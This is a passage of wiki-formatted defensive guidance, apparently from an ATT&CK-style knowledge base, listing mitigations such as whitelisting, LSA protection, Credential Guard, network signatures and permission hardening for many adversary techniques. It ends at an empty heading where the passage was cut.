Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [[Technique/T1078|Valid Accounts]] if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.[[CiteRef::Microsoft LSA]]
Identify and block potentially malicious software that may be used to dump credentials by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements.[[CiteRef::TechNet Credential Guard]] It also does not protect against all forms of credential dumping.[[CiteRef::GitHub SHB Credential Guard]]
Regsvr32 Mitigation
Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]
Process Hollowing Mitigation
Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Sudo Mitigation
The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.
Rc.common Mitigation
Limit privileges of user accounts so only authorized users can edit the rc.common file.
Execution through API Mitigation
Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Taint Shared Content Mitigation
Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).
Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Redundant Access Mitigation
Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Audio Capture Mitigation
Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.
Identify and block potentially malicious software that may be used to record audio by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
New Service Mitigation
Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create new services.
Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Scripting Mitigation
Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.
Rundll32 Mitigation
Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]
Fallback Channels Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Hidden Window Mitigation
Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.
System Service Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Indicator Removal on Host Mitigation
Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.
Service Registry Permissions Weakness Mitigation
Identify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.
Timestomp Mitigation
Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
System Network Configuration Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Execution through Module Load Mitigation
Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.
Shared Webroot Mitigation
Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.
Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.
Scheduled Task Mitigation
Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.
Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Binary Padding Mitigation
Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Network Sniffing Mitigation
Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.
Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Data Encrypted Mitigation
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Standard Cryptographic Protocol Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]
Multilayer Encryption Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]
Masquerading Mitigation
When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.
Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
File System Logical Offsets Mitigation
Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Launch Agent Mitigation
Restrict user’s abilities to create Launch Agents with group policy.
Remote Services Mitigation
Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent [[Credential Access]] techniques that may allow an adversary to acquire [[Technique/T1078|Valid Accounts]] that can be used by existing services.
File Deletion Mitigation
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Data Compressed Mitigation
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.
LC_LOAD_DYLIB Addition Mitigation
Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.
Authentication Package Mitigation
Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]
Startup Items Mitigation
Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.
Launch Daemon Mitigation
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.
Local Port Monitor Mitigation
Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by processes running under SYSTEM permissions.
Accessibility Features Mitigation
To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.[[CiteRef::TechNet RDP NLA]]
If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.[[CiteRef::TechNet RDP Gateway]]
Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Bootkit Mitigation
Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised.[[CiteRef::TCG Trusted Platform Module]][[CiteRef::TechNet Secure Boot Process]]
Access Token Manipulation Mitigation
Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.
Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [[Technique/T1078|Valid Accounts]].
Also limit opportunities for adversaries to increase privileges by limiting [[Privilege Escalation]] opportunities.
Valid Accounts Mitigation
Take measures to detect or prevent techniques such as [[Technique/T1003|Credential Dumping]] or installation of keyloggers to acquire credentials through [[Technique/T1056|Input Capture]]. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.[[CiteRef::Microsoft Securing Privileged Access]]. Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.[[CiteRef::TechNet Credential Theft]][[CiteRef::TechNet Least Privilege]]
Disabling Security Tools Mitigation
Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.
Query Registry Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
System Firmware Mitigation
Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology.[[CiteRef::TCG Trusted Platform Module]]
Multiband Communication Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Remote System Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
File and Directory Discovery Mitigation
File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
File System Permissions Weakness Mitigation
Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.
Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able.[[CiteRef::Seclists Kanthak 7zip Installer]]
Turn off UAC’s privilege elevation for standard users and installer detection for all users by modifying registry key <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code>; to disable installer detection, add: <code>"EnableInstallerDetection"=dword:00000000</code>.[[CiteRef::Seclists Kanthak 7zip Installer]]
Service Execution Mitigation
Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.
Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Communication Through Removable Media Mitigation
Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]
Two-Factor Authentication Interception Mitigation
Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.
Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Plist Modification Mitigation
Prevent plist files from being modified by users by making them read-only.
Application Shimming Mitigation
There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.
Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.
Standard Non-Application Layer Protocol Mitigation
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Data Transfer Size Limits Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
AppInit DLLs Mitigation
Upgrade to Windows 8 or later and enable secure boot.
Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.
InstallUtil Mitigation
InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
Shortcut Modification Mitigation
Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Custom Command and Control Protocol Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Automated Exfiltration Mitigation
Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Change Default File Association Mitigation
Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations.[[CiteRef::MSDN File Associations]]
Identify and block potentially malicious software that may be executed by this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Peripheral Device Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Standard Application Layer Protocol Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Cron Job Mitigation
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled tasks. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools.
Input Capture Mitigation
Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [[Technique/T1078|Valid Accounts]].
Launchctl Mitigation
Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.
Security Support Provider Mitigation
Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]
Process Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Deobfuscate/Decode Files or Information Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Replication Through Removable Media Mitigation
Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if it is not required for business operations.[[CiteRef::TechNet Removable Media Control]]
Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Scheduled Transfer Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Hypervisor Mitigation
Prevent adversary access to privileged accounts necessary to install a hypervisor.
Automated Collection Mitigation
Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [[Technique/T1056|Input Capture]] and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [[Technique/T1110|Brute Force]] techniques.
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Exfiltration Over Physical Medium Mitigation
Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]
Data Encoding Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
DLL Side-Loading Mitigation
Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.
Rootkit Mitigation
Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Network Share Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Modify Registry Mitigation
Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
System Time Discovery Mitigation
Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.
Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
System Network Connections Discovery Mitigation
